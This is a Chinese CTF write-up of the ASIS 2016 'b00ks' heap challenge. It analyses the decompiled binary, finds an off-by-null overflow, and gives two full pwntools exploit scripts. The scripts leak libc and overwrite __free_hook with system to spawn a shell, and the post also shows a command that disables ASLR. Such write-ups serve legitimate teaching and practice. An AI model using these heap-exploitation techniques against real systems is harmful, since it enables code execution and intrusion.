PWN> [asis2016]b00ks [CTFwiki]

发布于 2023-04-03  17 次阅读


静态分析

程序的功能是一个经典的图书管理程序,增删查改功能都有

welcome

__int64 sub_A89()
{
  __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  v1 = -1;
  puts("\n1. Create a book");
  puts("2. Delete a book");
  puts("3. Edit a book");
  puts("4. Print book detail");
  puts("5. Change current author name");
  puts("6. Exit");
  printf("> ");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 6 && v1 > 0 )
    result = (unsigned int)v1;
  else
    result = 0xFFFFFFFFLL;
  return result;
}

main 主要实现的就是一个选择功能,比较坑的一个地方就是如果输入的不是数字就会刷屏,不过后面其实可以通过这个 bug 判断 exp 哪里出了问题 为了方便阅读我把函数名改了一下

main

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  struct _IO_FILE *v3; // rdi
  int v5; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = stdin;
  setvbuf(stdin, 0LL, 1, 0LL);
  sub_A77();
  change();
  while ( 1 )
  {
    v5 = sub_A89();
    if ( v5 == 6 )
      break;
    switch ( v5 )
    {
      case 1:
        create();
        break;
      case 2:
        delete(v3);
        break;
      case 3:
        edit(v3);
        break;
      case 4:
        print(v3);
        break;
      case 5:
        change();
        break;
      default:
        v3 = (struct _IO_FILE *)"Wrong option";
        puts("Wrong option");
        break;
    }
  }
  puts("Thanks to use our library software");
  return 0LL;
}

先讲讲调用频率很高的程序自己实现的 read
值得注意的是边界条件i == a2实际上循环了a2 + 1次,这使得我们可以溢出一个字节引发 off_by_one(实际上由于溢出的字符必然是 \x00,所以这里其实是 off_by_null)

readbuf

__int64 __fastcall readbuf(_BYTE *a1, int a2)
{
  int i; // [rsp+14h] [rbp-Ch]

  if ( a2 <= 0 )
    return 0LL;
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, a1, 1uLL) != 1 )
      return 1LL;
    if ( *a1 == 10 )
      break;
    ++a1;
    if ( i == a2 )                              // 0 - a2 -> off by one
      break;
  }
  *a1 = 0;
  return 0LL;
}

初始化/更改作者名
readbuf 的漏洞使得我们可以多输入一个 \x00 覆盖后面的内存,这也是这题的第一个关键

change

__int64 change()
{
  printf("Enter author name: ");
  if ( !(unsigned int)readbuf(off_202018, 32) ) // off_202018大小为32字节,此处溢出一字节/x00
    return 0LL;
  printf("fail to read author_name");
  return 1LL;
}

创建书本
创建的时候由我们自己输入 malloc 的大小,book 结构体被存放在 off_202010 指向的内存中
结构体包含 ID、书名指针、描述指针和大小,这里的两个指针是我们漏洞利用的关键所在

create

__int64 create()
{
  int size; // [rsp+0h] [rbp-20h] BYREF
  int v2; // [rsp+4h] [rbp-1Ch]
  void *v3; // [rsp+8h] [rbp-18h]
  void *ptr; // [rsp+10h] [rbp-10h]
  void *description; // [rsp+18h] [rbp-8h]

  size = 0;
  printf("\nEnter book name size: ");
  __isoc99_scanf("%d", &size);
  if ( size < 0 )
    goto LABEL_2;
  printf("Enter book name (Max 32 chars): ");
  ptr = malloc(size);
  if ( !ptr )
  {
    printf("unable to allocate enough space");
    goto LABEL_17;
  }
  if ( (unsigned int)readbuf(ptr, size - 1) )   // read name
  {
    printf("fail to read name");
    goto LABEL_17;
  }
  size = 0;
  printf("\nEnter book description size: ");
  __isoc99_scanf("%d", &size);
  if ( size < 0 )
  {
LABEL_2:
    printf("Malformed size");
  }
  else
  {
    description = malloc(size);
    if ( description )
    {
      printf("Enter book description: ");
      if ( (unsigned int)readbuf(description, size - 1) )// read description
      {
        printf("Unable to read description");
      }
      else
      {
        v2 = sub_B24();                         // 查看ID是否已存在,不存在则返回V2
        if ( v2 == -1 )
        {
          printf("Library is full");
        }
        else
        {
          v3 = malloc(0x20uLL);                 // malloc(0x20)用于存放描述
          if ( v3 )
          {
            *((_DWORD *)v3 + 6) = size;         // size
            *((_QWORD *)off_202010 + v2) = v3;
            *((_QWORD *)v3 + 2) = description;  // *description
            *((_QWORD *)v3 + 1) = ptr;          // *name
            *(_DWORD *)v3 = ++unk_202024;       // ID
            return 0LL;
          }
          printf("Unable to allocate book struct");
        }
      }
    }
    else
    {
      printf("Fail to allocate memory");
    }
  }
LABEL_17:
  if ( ptr )
    free(ptr);
  if ( description )
    free(description);
  if ( v3 )
    free(v3);
  return 1LL;
}

编辑书本描述
通过访问 book 结构体中的描述指针来实现修改

edit

__int64 edit()
{
  int v1; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  printf("Enter the book id you want to edit: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)off_202010 + i) || **((_DWORD **)off_202010 + i) != v1); ++i )
      ;
    if ( i == 20 )
    {
      printf("Can't find selected book!");
    }
    else
    {
      printf("Enter new book description: ");
      if ( !(unsigned int)readbuf(
                            *(_BYTE **)(*((_QWORD *)off_202010 + i) + 16LL),
                            *(_DWORD *)(*((_QWORD *)off_202010 + i) + 24LL) - 1) )
        return 0LL;
      printf("Unable to read new description");
    }
  }
  else
  {
    printf("Wrong id");
  }
  return 1LL;
}

打印所有书本信息

print

int print()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 19; ++i )
  {
    v0 = *((_QWORD *)off_202010 + i);
    if ( v0 )
    {
      printf("ID: %d\n", **((unsigned int **)off_202010 + i));
      printf("Name: %s\n", *(const char **)(*((_QWORD *)off_202010 + i) + 8LL));
      printf("Description: %s\n", *(const char **)(*((_QWORD *)off_202010 + i) + 16LL));
      LODWORD(v0) = printf("Author: %s\n", (const char *)off_202018);
    }
  }
  return v0;
}

删除书本
依次 free 掉书名、描述和 book 结构体

delete

__int64 delete()
{
  int v1; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  i = 0;
  printf("Enter the book id you want to delete: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)off_202010 + i) || **((_DWORD **)off_202010 + i) != v1); ++i )
      ;
    if ( i != 20 )
    {
      free(*(void **)(*((_QWORD *)off_202010 + i) + 8LL));// free *name
      free(*(void **)(*((_QWORD *)off_202010 + i) + 16LL));// free *description
      free(*((void **)off_202010 + i));         // free ID
      *((_QWORD *)off_202010 + i) = 0LL;
      return 0LL;
    }
    printf("Can't find selected book!");
  }
  else
  {
    printf("Wrong id");
  }
  return 1LL;
}

动态调试

程序开了 ASLR,方便调试起见我们先暂时关闭它

sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

前面我们得出结论,在输入用户名时输入长度恰为 32 时会覆盖掉后面一个字节,现在来验证一下

3730 是 book1 结构体的地址,可以看到其地址被 \x00 覆盖为 3700,十分巧合的是这两个地址距离非常相近

再进去看看及结构体的构造,和源码一致:ID、*name、*description

此时我们改名后再 edit book1 就可以访问到 3700 这片内存了 我们在这里伪造一个 fake book1,让它的 *description 指向 book2 结构体存放 *description 的位置,这样做有很多用途:

  • print 的时候会泄露出 book2 结构体内部的指针地址,进一步泄露出更多关键的地址信息
  • edit fake book1 的时候实际上就是在改这个指针
  • 此时再 edit book2 就意味着我们已经完成了任意地址读写

那么下一步我们要做的就是获取 libc 的地址了,要怎么做呢?
我们知道,当 malloc 申请的内存大到某个值时,ptmalloc 会使用 brk 或 mmap 来分配内存并映射到虚拟内存中,而 libc 和 mmap 的偏移是固定的
于是我们可以申请一个大区块使之被分配到 mmap,然后重施故技泄露其地址,并在本地调试查看 libc 的地址以算出这个固定偏移,这样一来就可以通过靶机泄露的信息计算出 libc 的地址了
至于这个大区块要多大就需要自行调试了,这里是 0x21000

0x7ffff7d84000 就是 libc 的基地址了(网上的文章说有执行权限的那段才是基址,但我具体调试时发现并不需要关心执行权限,这可能和环境有关)

值得注意的是,这样做就注定了方法过于依赖环境,泛用性很低

获得 libc 地址后我们的下一步思考如何 getshell 这里和以往熟悉的 stack overflow 不同,我们无法通过劫持 retn addr 来篡改执行流

经过查询后我发现大家使用的是堆相关的几个 hook :__malloc_hook、__free_hook 这两个 hook 是内存里的一小段空白,当空白被写入一个地址后,在 malloc、free 时就会执行 hook 函数
例如我们篡改 free hook 为 system,那么当我们在 free 掉一块值为 我们通过前面获得的任意地址写将 __free_hook 劫持为 shellcode 的地址就能 getshell 了

最后需要解决的是 shellcode 可以用 one_gadget 查找,也可以自己写 shellcode,任意地址写的权限任君发挥

exp1

from pwn import *
context.log_level = 'debug'

bin = ELF('b00ks')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc.so.6')
io = process('./b00ks')
# io = remote('127.0.0.1', 2333)
# io = remote('node4.buuoj.cn',29885)

def createbook(name_size, name, des_size, des):
    io.readuntil('> ')
    io.sendline('1')
    io.readuntil(': ')
    io.sendline(str(name_size))
    io.readuntil(': ')
    io.sendline(name)
    io.readuntil(': ')
    io.sendline(str(des_size))
    io.readuntil(': ')
    io.sendline(des)

def printbook(id):
    io.readuntil('> ')
    io.sendline('4')
    io.readuntil(': ')
    for i in range(id):
        book_id = int(io.readline()[:-1])
        io.readuntil(': ')
        book_name = io.readline()[:-1]
        io.readuntil(': ')
        book_des = io.readline()[:-1]
        io.readuntil(': ')
        book_author = io.readline()[:-1]
    return book_id, book_name, book_des, book_author

def createname(name):
    io.readuntil('name: ')
    io.sendline(name)

def changename(name):
    io.readuntil('> ')
    io.sendline('5')
    io.readuntil(': ')
    io.sendline(name)

def editbook(book_id, new_des):
    io.readuntil('> ')
    io.sendline('3')
    io.readuntil(': ')
    io.sendline(str(book_id))# writeline
    io.readuntil(': ')
    io.sendline(new_des)

def deletebook(book_id):
    io.readuntil('> ')
    io.sendline('2')
    log.success('success send 2')
    io.readuntil(': ')
    log.success('success read')
    io.sendline(str(book_id))
    log.success('success send id')

createname('a'*32)
createbook(0x40, 'b'*8, 32, 'c'*8)
createbook(0x21000, '/bin/sh', 0x21000, '/bin/sh')

book_id, book_name, book_des, book_author = printbook(1)
book_1_addr = u64(book_author[32:32+6].ljust(8, b'\x00'))
log.success('book_1_addr: ' + hex(book_1_addr))

payload = p64(1) + p64(book_1_addr + 0x38) + p64(book_1_addr + 0x40) + p64(0xffff)
editbook(1, payload)
changename('a'*32)      # 至此,我们已经可以通过edit1指定地址、edit2写地址完成任意地址写

book_id, book_name, book_des, book_author = printbook(1)
book_2_name_addr = u64(book_name.ljust(8, b'\x00'))
book_2_des_addr = u64(book_des.ljust(8, b'\x00'))
log.success('book2_name_addr: ' + hex(book_2_name_addr))
log.success('book2_des_addr: ' + hex(book_2_des_addr))
# 
libc_base = book_2_des_addr + (0x7ffff7d84000 - 0x7ffff7d3d010)

log.success('libc_base: ' + hex(libc_base))

free_hook = libc_base + libc.symbols['__free_hook']
realloc_hook = libc_base + libc.symbols['__realloc_hook']
log.success('free_hook: ' + hex(free_hook))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.success('malloc_hook: ' + hex(malloc_hook))
gadget = libc_base + 0xebcf1 # 0xebcf1 0xebcf5 0xebcf8 0x50a37
system = libc_base + libc.symbols['system']
evecve = libc_base + libc.symbols['execve']
binsh = libc_base + next(libc.search(b'/bin/sh'))
log.success('gadget: ' + hex(gadget))
log.success('system: ' + hex(system))
log.success('binsh: ' + hex(binsh))

editbook(1, p64(book_2_name_addr))
# editbook(2, p64(binsh))
editbook(2, b'/bin/sh\x00')

editbook(1, p64(free_hook))
editbook(2, p64(system)*2)
# editbook(2, p64(gadget) + b'\x00'*2)
# gdb.attach(io)
editbook(1, p64(book_2_des_addr))
editbook(2, b'/bin/sh\x00')
log.success('addr: ', hex(book_2_name_addr))

createbook(0x20, '/bin/sh\x00', 0x20, '/bin/sh\x00')
# editbook(1, p64(book_2_des_addr))
gdb.attach(io)
log.success('edit success')

deletebook(2)
deletebook(3)
io.interactive()

这里好多种都尝试了,网上的师傅都成功了,但即使调试证明篡改 hook 和传参都成功了也依旧无法执行 hook 函数,百思不得其解
但是这也说明这个方法本身并不具有泛用性最好另寻他法
附个链接:好好说话之off-by-one
PS:好好说话这个系列很不错

exp2

网上找了一大堆 wp 一个一个试,最终只有这个能成功打通 docker 靶机和 BUU 的靶机(本地还是打不通)
但原 wp 有很多细节并没有解释,所以这是一个充斥了大很多 magic number 的 wp,这里仅介绍我读得懂的部分
附个原文地址:[Asis CTF 2016] b00ks —— Off-By-One利用与思考

from pwn import *
 
p=remote("127.0.0.1",2333)
# p = remote('node4.buuoj.cn', 29448)
# p = process(['./b00ks'],env={"LD_PRELOAD":"./libc.so.6"})
# p = process('./b00ks')
 
elf = ELF('./b00ks')
libc = ELF("./libc.so.6")
# libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
 
 
def add(name_size,name,content_size,content):
    p.sendlineafter('> ','1')
    p.sendlineafter('size: ',str(name_size))
    p.sendlineafter('chars): ',name)
    p.sendlineafter('size: ',str(content_size))
    p.sendlineafter('tion: ',content)
def delete(index):
    p.sendlineafter('> ','2')
    p.sendlineafter('delete: ',str(index))
def edit(index,content):
    p.sendlineafter('> ','3')
    p.sendlineafter('edit: ',str(index))
    p.sendlineafter('ption: ',content)
def show():
    p.sendlineafter('> ','4')
def change(author_name):
    p.sendlineafter('> ','5')
    p.sendlineafter('name: ',author_name)
 
p.sendlineafter('name: ','a'*0x1f+'b')
add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
show()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
print ('heap_addr-->'+hex(heap_addr))

add(0x80,'cccccccc',0x60,'dddddddd')
add(0x20,'/bin/sh',0x20,'/bin/sh')
delete(2)

edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))
# 0x30为一个struct的大小
# 0x180是原book1的name与book3的name之间的偏移
# 0x50不清楚是什么,但不允许改动
change('a'*0x20)
show()
 
main_arena = libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('unsorted bin: ', hex(main_arena))
libc_base = main_arena-88-0x10-libc.symbols['__malloc_hook']
# 调试发现__malloc_hook与libc基地址在Ubuntu16中是紧贴着的,其偏移量就是0x10

# __malloc_hook = libc_base+libc.symbols['__malloc_hook']
# realloc = libc_base+libc.symbols['realloc']
 
print ('libc_base-->'+hex(libc_base))
__free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
 
edit(1,p64(__free_hook)+b'\x00'*2+b'\x20')
 
print ('__free_hook-->'+hex(__free_hook))
 
edit(3,p64(system))
delete(3)
 
p.interactive()

这份 exp 的前面的思路大同小异,不同的地方在于泄露 libc 地址的方式
这里采用了利用 unsorted bin 中第一个 chunk 的 fd 指针来泄露 libc 地址,这个 fd 指针指向 main arena 中的某个位置,调试发现这里是 <main_arean + 88>,所以得到偏移量 88(新姿势GET 通过unsorted bin泄露libc地址 与 fastbin double free
程序在 free 后并没有将指针置为 null,这就给了我们泄露 fd 指针的机会了
这种方法显然具有更高的泛用性(虽然仍是仅限于 Ubuntu16)